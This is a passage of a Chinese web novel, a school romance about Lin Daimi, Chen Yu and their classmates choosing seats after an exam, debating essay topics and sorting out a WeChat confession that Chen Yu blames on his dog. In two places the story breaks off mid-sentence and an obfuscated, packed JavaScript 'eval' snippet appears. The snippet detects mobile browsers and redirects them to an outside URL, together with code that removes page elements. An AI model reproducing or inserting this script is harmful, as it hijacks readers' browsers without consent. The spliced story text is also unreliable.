确实是端水大师。 高一的写给陈喻和陆知珩。 高二的写给孟回川和沈步初。 高三的写给宋珈和周子洋。 几个人叽叽喳喳说了好多,只有一位丹凤眼的老兄一言未发,他肯定知道点什么,所以最后的结果就是,胡波觉得他一定和写情书的女孩有点爱恨情仇的瓜葛,然后那位老兄就被胡波单独留下来喝茶了。 两人一起从胡波办公室出来,陆知珩请了陈喻一瓶冰水,并告诉他,“下次,第一的位置我会拿回来。” 拿就拿呗,说得谁稀罕一样,还不是因为上次那议论文有点意思,他认真写了写,谁知道就成第一了,他已经在所有人面前表明,他对第一不感兴趣,可没人信,都说他在装。 似乎是为了证明自己真的不在乎成绩和排名,从那次之后,陈喻的成绩下滑如山体滑坡,再后来,他从重点一班掉到重点五班,再到平行六班,两人就更没交集了,直到林黛蜜转学过来。 待陆知珩走近,陈喻没什么好气道,“跑这么远来上厕所?你们班又不在这一层。” 陆知珩:“学校那么多厕所,我想去哪里上就去哪里上。” 陈喻转了转手里的拖把:“你是来找我的吧?我时间宝贵,有话直接说。” 陆知珩也不绕弯子,“离林黛蜜远点。” “她想和谁当朋友是她的自由。” “你想当的是她的朋友吗?”陆知珩上前一步严肃道:“她从小就那样,对谁都好,你别把那个当成喜欢。” 陈喻:“你并不知道我们之间发生过什么,有什么资格让我不要当成喜欢?” “我的确不知道你们之间发生过什么,也不知道你用了什么龌龊的手段让她那么想靠近你,我只知道她看向你的眼神里只有两个字。” “同情。” 不听不听王八念经,她就是喜欢我。 “那你呢?”陈喻依旧不服输,“她看向你的眼中是什么呢?” “不管是什么,我都会是她一辈子的后盾和底气。” 陈喻没忍住皱眉:“陆知珩,你油不油腻?” “我油腻你装货,咱俩谁也别嫌弃谁。” 陈喻:“……” 是的,林黛蜜就是喜欢我,这让陆知珩有了危机感,所以才跑来警告我。切,自己没有魅力还不让人家选择更好的人,心眼真小。 25. 25 课本摊开在桌面已经整整五分钟,杨雅茹的目光却始终停留在同一行字上,她的思绪明显不在这里。 因为刚才陆知珩来过,自然是问她到底有没有和林黛蜜约好一起学习。杨雅茹本来很淡定的,她有着多年说瞎话的实战经验,按理说这难不倒她,可是陆知珩远远没她想象的那么好对付。 他问。 “杨雅茹,你今天怎么来这么早?” “我和糖糖约好早点来一起学习。” “你们不是约的五点半吗?现在已经快六点了。” “我们俩约的是五点半起床,六点到校。” “那她人呢?” “她刚才去厕所了。” 啧啧啧!看似寒暄,实则处处是为她挖的陷阱,杨雅茹觉得她心里那个温柔阳光又简单的陆知珩没了,果然人和人靠得太近,滤镜就会被打碎。 俗话说躲得了初一躲不了十五,林黛蜜是躲得了早上躲不了下午的那个,由于下午放学后还得打扫一次厕所,林黛蜜就和陆知珩撒谎说,放学后要和杨雅茹去吃米线,那谁能想到陆知珩就在门口守株待兔呢。 当陆知珩带着杨雅茹站在她面前时,林黛蜜吓得手里的扫帚都掉了。 救命啊!这么快就露馅了? “开始狡辩吧,”陆知珩冷冷地看着林黛蜜,“从今天早上的早起学习到下午的一起吃米线?” 杨雅茹心虚地往后站了站,她正在头脑风暴怎么样才能圆回去,林黛蜜递给她一个“放心,一切有我”的眼神,下一秒,只听“扑通”一声。 林黛蜜直接跪下了! 陆知珩和杨雅茹同时被吓得后退半步,杨雅茹险些没站稳,还是陆知珩拉了她一把。 这都是什么糟糕的解决方案! 杨雅茹心想,但凡多给她一分钟的时间,她都能想到比这体面一千倍一万倍的办法。 林黛蜜哭丧着脸,“哥哥,我错了,我真的错了,我对不起全家人的栽培,对不起你的谆谆教诲,你要是不原谅我,或者你敢告诉爸妈我就不起来了,我要把自己跪死在这里……” “哥哥?” 杨雅茹没忍住重复一遍。 陆知珩捂了捂脸,抓着她的胳膊,一把将人提起来,“起来起来,原谅你原谅你,我以后还得在这个学校混。” 林黛蜜一听,立马恢复了笑脸,她拍了拍膝盖上的土,重新捡起地上的扫帚,“好的哥哥,那我接着去扫厕所了。” 陆知珩:“你不打算给我一个合理的解释?” 杨雅茹:“你们一个姓陆一个姓林,你刚才为什么叫他哥哥?” 林黛蜜耸耸肩,“你们也看到了,我现在很忙,哥哥你要是想知道我为什么扫厕所,为什么要撒谎就去问雅雅,雅雅你要是想知道我为什么叫他哥哥,你就去问陆知珩,你们俩可以去点个米线,一边吃一边互相问,我先去工作啦。” 也不知道他们俩说了些什么,反正第二天就变成了这样,林黛蜜和陈喻早起吭哧吭哧打扫厕所,陆知珩和杨雅茹早起悠悠闲闲上自习,但是呢,前面两人的劳动只持续了一周时间,后面两人的早起学习一直持续到高考结束。 被罚扫厕所的最后一天,出于好奇,林黛蜜爬上教学楼的最高处,彼时天光还未亮,不太宽敞的走廊里空无一人,只有应急灯投下略微有些诡异的绿光。 她心里有点害怕,便叫来了陈喻,一般来说,通往天台的铁门常年都锁得死死的,可眼前这扇门却虚掩着,露出一丝孱弱的天光。 陈喻迟疑地走近,铁门上“禁止入内”的标识已经褪色,锁链松松垮垮地挂在门把手上,像是有人匆忙离开忘了重新锁好,他的手指触到冰凉的金属门把手,很奇怪,铁门已经生了锈,门把手却摸上去光滑。 因为紧张,林黛蜜咽了咽口水。 “你觉得这扇门背后是什么?” “还能是什么,无非是一堆破破铜烂铁。” 说完这句话,陈喻突然收回了手,同时收回了所有的好奇心,他觉得这一切都没意思极了,就好像这场全民狂热参与的高考,大多数人明明知道结果就那样,可他们还是逼迫着自己去做,甚至不惜堵上全部。 林黛蜜及时发现他的意图,并阻止了他,她抓着他的手,缓慢而坚定地推开了门。 九月的晨风立刻拥抱了他们,以一种冷峻的,粗暴的姿态,可眼前的景象却将二人深深吸引。 是日出。 愣愣地看了许久,陈喻说了一句听上去很浪漫实际有点残忍的话,他说:“生命里的日出又少了一次。” 人真的是很奇怪的物种,看到太阳月亮星星潮汐会心生感慨,大概是因为,它们是永恒的,而人是次抛的,他们眼前的这个太阳,还是五十几亿年的那个,这中间,人却换了一代又一代。 有点羡慕小王子了,他住在一个小小的星球上,只要把椅子挪动几步就可以看到日落,小王子曾经说,我记得有一次,我一天看了四十四次日落,那么反过来,只要他想,他就可以一天看到四十四次日出了。 “是多了一次。”时间又过去了好几分钟,林黛蜜才慢慢回答道,“如果今天,我们没有执意推开这扇门,便看不到这次日出,所以,我们比其他人,多看了一次日出。” 这个解释陈喻很喜欢。 用拥有去计算,而不是失去,这是林黛蜜一贯的风格。 “陈喻,不管门的后面是什么,我想,我们都应该推开看看。”林黛蜜轻声说,她的声音几乎被风吹散。 陈喻却清晰地听到了。 后来,很多个后来,这句话在他的耳边住了一辈子。 当他怀疑迷茫害怕的时候,一直有人鼓励他推开门看看。 —— 开学四周之后,第一次月考很快到来,对六班学生来说,和考试最密切相关的事情就是换座位,此刻,胡波正站在讲台上,颁发自己的新政策。 “以前呢,我的策略是先富带动后富,结果呢,经过一个学期的实验,现在你们穷到可以一起去要饭了。” “所以,我现在决定向隔壁班学习,由你们自己来挑选同桌。” 胡波话音刚落,就像水烧开了,教室立马沸腾起来, “波波你是认真的吗?” “波波英明!” “耶!耶!耶!” 胡波被这帮小屁孩逗笑,“先别高兴地太早,想必大多数人都知道规矩,不过呢,以防某些孤陋寡闻之人不懂,我还是再啰嗦一句。” “我们采取的方法是,第一名第一个选座位,第二名第二个选,第三名第三个选,以此类推,言外之意就是,你要是考不好就只有别人挑剩下的了,所以,今天晚上回去都把那公式背一背,把那单词默写默写,临阵磨枪,不快也光,要知道,哪怕多一分你旁边坐的人都不一样……” 两天后,月考结束,附中老师只用了两天的时间批卷子,考完后的第四天,各班成绩已经被张贴在教室后面的黑板上,一下课,几乎所有人都呼啦啦挤在一起看成绩。怕后面的人看不到,挤在最前线的王树晨开启语音播报服务,他模仿胡波一个个评价起来。 “最棒的是杨雅茹,第一名,要继续保持。” “林黛蜜第二名,比开学考降低一名,要反思啊!” “陈喻第三名,比开学考上升十六名,再接再厉……” 孟一格和孟源钻进人群去看成绩了,陈喻坐到了林黛蜜的旁边,他别扭地咳嗽了两声:“你记不记得,上次你问我,走之前还有什么想做但是没做的事情吗?” “当然记得。”林黛蜜放下手里的笔,认真聆听他接下来的话。 “你当时还说,你会尽最大努力帮我实现。” 林黛蜜点头:“这个我也记得。” 陈喻:“老话说的好,学好数理化,走遍天下都不怕,我就想啊,这在底下大概也通用。” “底下?”林黛蜜的大眼睛中满是不解,“哪个底下?” 接下来,只见陈喻变戏法似的从书桌里抽出一张成绩单,“你对比一下咱俩的成绩,看看有什么不同?” 林黛蜜不明所以,她还真的拿过来,仔细比对起来:“除了我数学比你高二十一,其他都差不多。” “没错,所以走遍天下的三科中,我就剩数学不会了,而全班就你的数学成绩最高,要是咱俩能坐同桌,你到时候帮我辅导辅导,那我肯定就会及格了,到了那边,就是做鬼,我也是个数理化都拿手的鬼,找工作也就容易了对吧!” 千万别误会! 他这么做真的不是喜欢她,不过是因为,刚才上厕所时,听到几个男生串通好要占据林黛蜜周围的几个位置,林呆瓜那么呆,肯定会被欺负,罢了,看在她那么喜欢自己的份上,他就委屈一下,和她坐同桌吧。谁让他偏偏考了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958207|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她后面一名呢? 真是巧啊。 林黛蜜:“……” 原来他口中的“底下”是阴曹地府啊,这想得也未免太周到了,那按照陈喻这个逻辑,她语文还不及格呢,当时候去了之后,不知道会不会被当成日本人处理,不行,她以后一定要努力学语文,待会儿她得去问问杨雅茹,自己能不能坐在她附近。 “没问题!” 林黛蜜十分干脆地答应下来,她发现陈喻真的是热爱学习啊,都这个时候了,想的不是吃喝玩乐,而是把数学成绩搞上去,真的,一般人绝对没有他这个觉悟。 晚自习之前换座位活动正式开始,所有人都站在楼道里,班长喊到谁谁就进去选。 孟源以头撞墙:“太悲伤了,这下右护法的位置肯定是留给我的。” 林黛蜜知道他考了倒数第一肯定心情不好,于是她试着安慰他,“你也别太难过,其实你想啊,如果第一名有选择困难症,那也是一种痛苦啊,但你就没有那种痛苦。” 孟源:“……” 安慰得很好,下次别再安慰了。 周围的其他人都在捂嘴笑,林黛蜜这才后知后觉,自己好像又说错话了,她还是闭嘴吧。 事实证明,在任何一个集体中,人是一定会向熟悉的人靠拢的,就好比现在,换座位之前,全班人来来往往,费了好大一番功夫协商之后,杨雅茹坐在了林黛蜜的后面,林黛蜜还在自己原来的位置,陈喻成了林黛蜜同桌,孟一格不想喝林黛蜜分开,便成了杨雅茹同桌。 至于孟源,他的成绩靠后,本来应该去“右护法”的职位上任的,但他说自己无法和陈喻几个人分开,对着胡波一阵痛哭,又是保证下次考多少分,又是保证绝对不迟到,胡波这才大发慈悲让他把桌子搬到几个人后面坐着。 上晚自习之前,几个人凑在一起研究成绩单,这次语文成绩及格了,林黛蜜本来还挺高兴的,但当她的96和杨雅茹的130放在一起的时候,还是挺叫人想不通的,果然,比较是偷走幸福的小偷,这句话在学习中也一样适用。 林黛蜜手撑着下巴,“雅雅,你平时是怎么学的语文啊,怎么能考这么多。” “可能是天赋吧。”杨雅茹淡淡道,“我就是上课跟着老师的节奏走,下课后几乎不学语文,然后考前背一背古诗词。” 林黛蜜:“……” 孟一格:“……” 两人异口同声,“杨雅茹同学,教室里禁止卖瓜!” 杨雅茹左看看又看看:“卖瓜?谁在教室卖瓜?” 林黛蜜义正言辞:“意思就是,禁止王婆卖瓜,自卖自夸。” 杨雅茹“噗嗤”笑出来。 几个人在这边的说笑引起了张雨倩的不满,她大吼一声,“上课了都闭嘴。” 谁又惹她了? 杨雅茹觉得,张雨倩这人也很怪,就那天,她和陆知珩一起去吃米线,吃到一半,没想到张雨倩进来了。 她们之间并不是很熟,出了班级最多在路上遇到打个招呼就行,可那天,张雨倩看到她和陆知珩在一起之后,很热情地凑过来,一副很熟络的的样子,一屁股坐在她的旁边。 “呀,你们也来吃米线?” “雅雅,你也太不够意思了,认识这么大的学霸都没告诉过我。” 杨雅茹:“班长,其实我们……” 她的话被张雨倩打断,“陆学霸,你可不能欺负我们雅雅,作为男生,吃米线的钱你得付,其实我们雅雅什么都好,就是太扣了。” “张雨倩,”杨雅茹忍无可忍,“咱俩又不熟,你凭什么这么说我?” “你忘了吗?那天刘小溪说喝你一点果茶你都不舍得给她,怕她再朝你要,你直接忍着一节课都没喝,后来还拿回家去了。” 杨雅茹:“我没有不给你喝,但是那一瓶就是不可以。” “为什么不可以?”她咄咄逼人。 陆知珩淡声道:“因为那是我买的,我告诉她不要给任何人喝。” “OK,随便你们,反正杨雅茹不能吃亏哦,我会一直盯着你,”张雨倩眯了眯眼睛,再开口话题已经跑偏了,她说:“陆知珩虽然你很优秀,但是,杨雅茹是我们班的第一才女,林黛蜜呢是我们班第一阳光美少女,你总不能同时喜欢两个人吧,那样岂不是太渣了?” 杨雅茹:“……” 陆知珩:“……” 26. 26 每次考完试,附中的老师大多会选择在晚自习把卷子讲完,第一节晚修崔铭讲完了前面的内容,按照惯例第二节就要讲解作文,然后展示优秀范文。 林黛蜜转过身趴在杨雅茹的桌子上,一个字一个字拜读她的作文。 “在中国封建社会,除了皇帝自称“寡人”之外,普罗大众都不愿意“孤寡”,大家追求“独乐乐不如众乐乐”,而儒家特别推崇“慎独”,因为只有当一个人的时候……” 原来这就是方才崔铭所说的,第一句话就抓住了老师的眼球,这次月考作文的论点是个人主义好,还是集体主义好。林黛蜜觉得人是在集体中成长的,当然是集体主义好,可奈何她胸中无点墨,连自己都说服不了,还怎么说服老师。 她的声音闷闷的,“雅雅,这篇作文如果从推崇个人主义角度出发,你会怎么写?” 杨雅茹:“这我可能写不出来,因为我不相信,任何事情得先相信才能继续下去。” 林黛蜜惆怅道:“要是写作文的时候,我能魂穿你就好了。” “其实没那么难的,你每天睡觉之前可以写个几百字的随笔,这样坚持到高考一定会下笔有物的。” “那我写什么呢?”林黛蜜问。 “写白天发生的事情,以及对那件事的感悟啊。”考虑到林黛蜜那啥都不往心里去的性格,杨雅茹想到另一个窍门,“或者,还有一个偏方。” 林黛蜜眼睛一亮:“什么偏方,快告诉我。” 杨雅茹逗她:“你有没有听说过这句话,说,暗恋的人都是天生的诗人?要不然你在班里找个人暗恋一下?” “听起来有几分道理,不过真的有用吗?” 杨雅茹耸肩,“可以试试啊。” “那你跟我具体说说,暗恋到底是一种怎样的感觉?” 闻言,杨雅茹将目光投向外面茫茫的夜色,她说,“暗恋嘛,大概就是,随着时间的流逝,你会忘掉很多事情,但是他说的每一句话你都记得清清楚楚。” 这么神奇的吗? “这样的话……”林黛蜜撑着下巴,冒出一个天才的想法,“那大家都应该去找那个自己暗恋的人补课啊。” 杨雅茹:“……” 真是油盐不进啊! 林黛蜜忽然兴起一个念头,“欸?雅雅,要不我暗恋你吧,然后你就多给我讲讲作文素材,这样我的作文就有救了。” 杨雅茹简直拿她没办法:“……你知道暗恋的第一原则是什么吗?” “我不知道。”林黛蜜摇摇头。 “首先你得是个哑巴,是个会说话能听见的哑巴。” “那岂不是太痛苦了,”林黛蜜想了一会儿,然后说:“我要是喜欢一个人的话,不会做哑巴,我要当一个大喇叭,我会天天告诉他,我喜欢他。” 这时,上课正式铃声打响,陈喻从教室后门进来,刚好听到这句话,唇角不自觉弯了弯,等他意识到这个动作太招摇,又强制拉平了嘴角。 腻不腻啊,谁要天天听你说。 第二节自习课,林黛蜜无意间的一撇,她发现陈喻的作文是从“个人主义”出发写的,她借过来看了一眼,心情一下子跌到了谷底,冷冷的冰雨好像在她的脸上胡乱地拍,整个世界好像就她一个人不会写作文,明明都是人,差距怎么可以如此之大? 他的第一段是这样的。 “集体主义是我们的口号,个人主义是生存的解药,众所周知,世界上的高危职业之一,就是吕布的义父,要是有人对你说,“公若不弃,愿拜为义父”那你应该连夜扛着和谐号跑路,那为什么吕布离开了一个又一个集体,说到底,是人性中的个人主义在作祟。” 啧啧,在林黛蜜看来这篇文章写得很不错,但问题是立场不对啊,班里百分之九十九的人都选集团主义,陈喻怎么敢“大逆不道”地选择个人主义,而且他的部分言论看上去不符合主流的价值观,这样的一篇议论文,要是出现在高考的答题卡上,那简直不敢想象会是什么后果,怪不得他的作文分数和自己一样低。 陈喻观察到林黛蜜一直拿着两张答题卡对比,罕见的安静,罕见的沉默,连眉头都皱在了一起,她不像平时那样笑,陈喻觉得整个天都暗了,这太影响他的心情了。 他伸手将两人的试卷抽走,叠在一起,然后压在一摞书底下,一脸冷峻,“林糖糖,我问你一个问题。” 林黛蜜没看懂他这一系列的动作,茫然问道,“什么问题需要这么严肃?” “别看个人多平庸,看看我们的集体多成功。”陈喻顿了顿,问道,“你怎么理解这句话?” 林黛蜜思索片刻,“毋庸置疑,从一穷二白走到今天,我们的集体的确是成功的,这是众人拾柴才抬起来的火焰,单靠一个人绝对做不到吧,至于个人的平庸,我认为那是一种可贵的平凡,只是很多人没有意识到。” 陈喻眼中难得露出赞许的目光,开口却是反驳:“我不否认集体的成功,那么集体成功之下,大多数平庸的人呢?他们并没有过上好的生活,这样的集体性也值得歌颂吗?举一个最鲜明的例子,计划经济时代的大锅饭扼杀了生产力,反而市场经济通过激发个人能动性创造了繁荣。” 林黛蜜:“可是也有句话说,一个人走的快,一群人走得远,集体主义不是压制个性,而是通过合作放大个人价值啊,而且人类从部落时代就依靠集体存活,个人英雄主义无法解决贫困、疫情或者生态危机……” 陈喻点点头:“林黛蜜,你刚才说的那些都很不错,下一步你要做的只是把她们以文字的内容呈现在试卷上,那样的话你至少会得到一个及格的分数。” “啊?”林黛蜜反应过来,“你刚才是在教我如何写作文?” “嗯,任何题目,你不要将它想成考试,就想成是在和别人辩论,很多人让你多看书,这是输入,输入固然重要,但输出才能让你输入的东西显化为成绩。” 那一刻,林黛蜜顿悟了,简直有一种听君一席话,胜读十年书的茅塞顿开之感。 从那之后,为了能够在和陈喻的辩论中不落于下风,她开始带着目的性读书,效果出奇地好。在看到某个经典案例或者好的句子时,她会想,我要用这一句话秒杀陈喻,然后就会很轻松地记下来,能说出来必然就能写下来,能写下来,就会得到一篇合格的议论文。 第二天课间操结束,张雨倩站在讲台上说班费所剩无几,带钱的现在就可以交,没带的下午回来交。 “怎么又交班费?”林黛蜜当时正好和孟一格一起从门口走进来,“开学那会儿不是刚交过了吗?这才过了一个月啊。” 孟一格:“可能上次收的钱交了卷子费了,附中老师就是这样,喜欢到处搞题目印出来给学生做。” 这话不假,附中是个酷爱考试的学校,从进了附中大门起,你就得接受各种周考月考期中期末联考,考海无涯,连岸在哪里都看不到。 张雨倩听到二人的对话,就想让林黛蜜丢脸,她刻意夹着嗓子:“林黛蜜,你要是家里经济困难的话,我可以帮你交或者大家一起凑一凑。” 话一说出来,张雨倩自己就先起了一身鸡皮疙瘩,她就是想学绿茶那一套,假意嘘寒问暖显示自己作为班长关 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这……还真没有,林黛蜜掏出笔,拔开笔帽,“你说我记下来,不过,我周末才能拿到手机,我能周末再转给你吗?” 陈喻假装不情愿,“周末一定还啊,过时了就要收利息的。” 翌日,去往学校的路上,陈喻低着头,两只手捧着手机一直打字,孟源好几次说话都被他用嗯搪塞过去,孟源忍不住抽走他的手机,“你这一路都捣鼓啥呢?” 陈喻保持着手机打字的姿势,“改微信名字。” 孟源咬了一口手里的鸡蛋灌饼,“为什么要改,我觉得哥很冷漠最配你了。” 没错,陈喻的微信名就叫“哥很冷漠”,他的头像还是那张悟空穿着一身浅绿色长袖袍子,满脸写着烦死了的图片,简直让人毫无聊天的欲望。 孟源眼珠子滴溜一转,立马猜中,“你是怕林妹妹看到你的名字和头像嫌弃你吧?” 陈喻扫他一眼,“你的话太密了。” 这个反应就是猜对了,孟源贱兮兮地凑到陈喻跟前,“我知道,你不就是想勾引林黛蜜嘛,兄弟我帮你起一个。” “谢谢啊,但我已经想好了。”陈喻满意地看一眼自己新起的网名,把手机揣回兜里。 “起了个啥名?”孟源将手抓饼挪到左手,用右手掏出手机,看了一眼他的新网名,宝强上身,“啥?啥?啥?这都是啥?” 他的新微信名叫“LED”。 这不占用人家灯泡名嘛! 陈喻得意:“看不懂就对了。” 好奇心害死猫,弄不清楚他葫芦里卖的什么药,孟源看着手里的手抓饼都不香了,他开始绞尽脑汁思考起来,不知不觉和陈喻拉开了些距离。 陈喻刚要让他走快点,余光一扫,就看到几步之外站着的人,是张雨倩。 “陈喻,作为班长我需要和你聊聊。” “我记得班费钱我已经交了。” “你喜欢林黛蜜吗?” “这是我的私事,无可奉告。” “林黛蜜喜欢你你知道吗?” 连别人都看出来了?确实,林黛蜜有时候对他的偏爱确实过于明显,真烦人,回头让她注意点吧。 陈喻清了清嗓子,“她喜欢我,这事儿我也苦恼着呢。” “别答应她的表白?” “什么?” 张雨倩说,“她周六晚上会向你表白,你别答应她,当然,拒绝的时候也不要伤害到她。” “我为什么要听你的?” “你敢答应我就去告诉班主任。” 27. 27 周六下午拿到手机之后,林黛蜜先加上陈喻的微信,那边很快同意,都是熟人,也没有什么寒暄的必要,她将100块钱转给陈喻,顺便将他的微信名“LED”改成“陈喻”。 真奇怪! 怎么有人叫LED。 本来她想问问陈喻为什么起这么个奇怪的名字,在她打字之前,门铃声响起,家里只有她一个人,林黛蜜穿上拖鞋去开门。 门外是一身休闲打扮的林韵。 林黛蜜诧异两秒,“妈妈,你今天不是去工作啊?” “小糊涂虫你忘了,我昨天晚上刚说今天要去趟农贸市场,买点种子什么的。” 林韵手里拎着蓝色的塑料种植盆,盆里是椰砖,林黛蜜想起来了,妈妈确实说过周末要种萝卜。 这时捏在手里的手机响了下,她拿起来扫一眼,是陈喻。 陈喻:【你还有什么话要对我说吗?】 林黛蜜想了想:【有的。】 陈喻:【那你快说吧!】 林韵将准备工作都做好,她想让女儿参与一下播种,便喊道,“糖糖,你帮妈妈盖土好不好?” “好的妈妈,马上。” 林黛蜜急忙打下几个字:【等一会儿再聊。】 回复完,她随手将手机扔在沙发上,母女两人戴上手套,一边聊天一边种菜。 陈喻这边,手机被端端正正放在书桌上,他一动不动地盯着屏幕,心里止不住地琢磨,她还没准备好吗?也对,表白嘛,肯定会紧张,多给他一点时间好了。 于是他等啊等,秒针转了一圈又一圈,还是没等到她的消息,为了打发时间,陈喻先是将大花薅进卫生间洗了个澡,也许是心里有事情,他下手重了一些,大花一个翻身起来,骂骂咧咧走了。 不洗拉倒。 陈喻又回到书桌前打开了电脑,打算玩一会儿游戏,算了,也没有那个心情,于是他又在电脑上登录微信,打开和林黛蜜的聊天框,开始盯着电脑看。 时间又过去了很久,陈喻心想,喜欢你三个字需要打很久吗?闲着也是闲着,他随意按了几下电脑键盘,输入框里出现了“喜欢你”三个字。 这不是很快就可以吗? 笨蛋。 陈喻觉得有些口渴,起身去冰箱里拿了一瓶矿泉水,等再次坐回书桌旁,天塌了。 他刚才打好的“喜欢你”三个字已经被发送出去,而且,已经过了两分钟,无法撤回了。陈喻恶狠狠看向一脸无辜的始作俑者,“大花,你信不信我把你做成狗肉包子?” 大花白了他一眼扭头走了。 陈喻:“……” 世风日下,狗心不古。 这年头狗都敢欺负到帅哥头上了。 这下怎么办?陈喻少见地慌了,准确来说感到害羞了,明明是林黛蜜向他表白,怎么变成了自己向林黛蜜表白? 不过,这也没关系吧,反正结果都一样,不,有关系,有大大的关系,被表白的人在以后的家庭地位中一定会占据着主导地位。 不行不行,他得想个补救的办法,这时,他看向屏幕,发现喜欢你后面还有一连串的内容,于是,一个天才的对策浮上心头。 林黛蜜种完菜时已经将近七点,等她再一次拿起手机时,发现自己微信有99+条消息,都是来自于陈喻。 她心下一惊,他不会死掉了吧。 除了遗言,她想不出来还有什么事情需要发这么多条微信。 林黛蜜连忙点进去,与此同时,两条眉毛也皱起来,手指从下往上划拉,很快,她就失去了耐心。 陈喻:想和你 陈喻:溴化钠 陈喻:小孩呢 陈喻:小虎妞 陈喻:小黄牛 陈喻:吓唬你 陈喻:小红娘 陈喻:瞎胡闹 陈喻:徐鹤宁 陈喻:小河南 …… 这啥意思啊?被极大的好奇心驱使着,林黛蜜打了语音通话过去。铃声响了好久没人接,可当她刚挂断,那边的消息就过来了。 陈喻:【什么都别问,明天早上九点来我家,我要为自己举办一场欢送会,你不用害怕,孟一格和孟源也会来。】 陈喻:【定位。】 欢送会,这么快吗? 这一天还是到来了。 他就要死了! 第二天早上,林黛蜜怀着无比沉重的心情按响了陈喻家的门铃,听到门铃声,陈喻以最快的速度跑去开门。却在看到女孩怀里抱着的那一束菊花时,笑容彻底凝固在脸上。 是不是花店的人给她装错了,她买的应该是红玫瑰才对吧。 林黛蜜见他盯着花看,于是将花递给他,“祝你……去个好地方。” 陈喻:“……” 他好像懂了,林黛蜜是来送他的,自己做的孽,只能自己承受,算了,菊花就菊花吧,干了还能泡水喝去去火,他接过那一大束菊花,将人领进屋。 孟一格抬头看到她的打扮,眼睛亮了一瞬,“糖糖,你穿这个小黑裙看上去像高贵典雅的公主。” 因为孟一格的话,陈喻和孟源的目光也落在林黛蜜身上,孟源看了三秒后点头,“同意。” 林黛蜜笑吟吟的,“谢谢你们。” 陈喻没说话,但视线一直未离开女孩,很常见的黑色连衣裙,长度到膝盖下面一点,束腰的褶皱设计,穿在她身上,真的高贵如公主,属于是人抬衣服。陈喻又看了一眼怀里的菊花,突然意识到,林黛蜜这身黑色连衣裙是为自己穿的。 为他奔丧而穿。 怎么不算为他穿的呢? 孟一格拉着林黛蜜坐在沙发上,激动道,“糖糖你看了吗?昨晚真的表白了,他们终于谈上了。” “嗯,看了看了他们好甜啊啊啊。” 一听有瓜吃,孟源从游戏中抬头,“谁和谁表白了?是咱们班的吗?” 林黛蜜解释:“是一部电视剧,昨晚男主向女主表白了。” 陈喻陷入了沉思。 所以林黛蜜昨晚是因为看电视剧表白而忘了向自己表白?什么破电视剧,早不表白,偏偏要选在昨晚。不对,林黛蜜没那么渣,那么就只有一个可能性,他被张雨倩骗了。 “嗤!”陈喻被自己蠢笑了,他拉着林黛蜜进了书房,然后将人按在椅子上坐下,打开电脑,登录微信,再打开和她的聊天框。 林黛蜜:“?” “我知道你好奇,但是你先别好奇。”说着,陈喻将一个巴掌大芒果塞在林黛蜜手里,还不忘问一句,“对芒果过敏吗?” 林黛蜜摇头。 “那剥开吃吧。” “我一会儿吃行吗?” “不行,必须现在吃。” “好吧!” 林黛蜜将拇指按在顶端轻轻一挤,捏住凹陷的果皮边慢慢撕扯,很快,空气中顿时漾开浓浓的芒果香味,她放在口中咬了一口,粘稠的汁水顺着指缝蜿蜒而下。 “手弄脏了是吧。” “是啊。”不知道他葫芦里卖的什么药,林黛蜜只能顺着回答。 又见陈喻单手叉腰,换上了命令的口吻,“大花过来。” 卧在不远处的大花立刻起身,吐着舌头,摇晃着尾巴跑过来,陈喻指了个方向,“去,把纸巾拿过来。” 接收到命令,大花仰起头看向四周,确定了纸巾的位置,它跑过去小心翼翼用嘴叼住盒子的一角,转身跑向陈喻。 “表现不错。”陈喻蹲下来,接过纸巾,摸了摸大花的头,然后抽出几张仔细帮林黛蜜擦手。 林黛蜜:“?” 察觉到女孩的目光,陈喻不自然地咳了一声,又看向大花,“为了证明……我的清白,你现在需要表演一下打字。” “打字?”林黛蜜觉得不可思议,“你说它会打字,狗都进化到这个程度了? 陈喻淡定胡扯:“其他狗我不知道,但是它会。” 林黛蜜看向大花,她似乎看到了狗翻白眼,表演开始了,只见大花踩着书桌旁的矮凳熟练地爬上桌子,爪子啪地拍在了键盘上,额……字是打出来了,但很明显,组合在一起,不是中国人能看懂的。 “你为什么要让我看这个?” “我只是想向你说明,昨天发给你的那些莫名其妙的东西,是它干的。它不但会拿纸巾还会打字。”解释完之后,陈喻松了一口气,为了这个,他昨天拉着大花排练到二点多,怕大花忘了,第二天早上五点又拉起来复习了好久,不过还好,林黛蜜脑子简单,她一定会相信的,就像她始终相信世界很美好那样。 “绕了一大圈就为了说明这个?” 会拿纸巾她信,可会打字就很牵强了,大花怎么可能打出很多个首字母是xhn的短语,但看在这个人是陈喻,还是能包容就包容吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“妈妈都懂,是太快了啊。”喻晓递给儿子一个放心的眼神,扭头牵起林黛蜜的手,“可惜了,我儿子都快走了,否则我们应该能经常见面的。” 林黛蜜了然,她轻轻抱了抱喻晓,“阿姨您放心,就算他走了我也会来看你的,我一定把你当做我的亲生母亲对待。” 陈喻:“……” 孟一格和孟源交换了一下眼神,不是,出个国有必要这么夸张吗?搞得像出殡一样。 喻晓的目光就没从林黛蜜脸上挪开过,“宝贝,你多大啊?你是在哪家医院出生的?几月份生的?” “阿姨我17岁,十二月出生,是在仁济医院出生的。” “啊,好吧,月份对不上。” “嗯?” “陈喻和你同岁,也是在仁济医院出生的,不过他大你几个月,我刚才就在想会不会是医院给抱错了,你看啊,我这么漂亮,生出来的女儿一定是你这样的。” 陈喻无语:“别幻想了,你们俩只能生出我这样的,不放心去做个亲子鉴定。” 喻晓没好气,“知道了,你不用提醒我,我早就做过了。” 众人:“……” 几人去美食城吃了拇指小笼包,炒饼丝,铁板豆腐,章鱼小丸子……一直吃到撑,大家才互相说了再见。 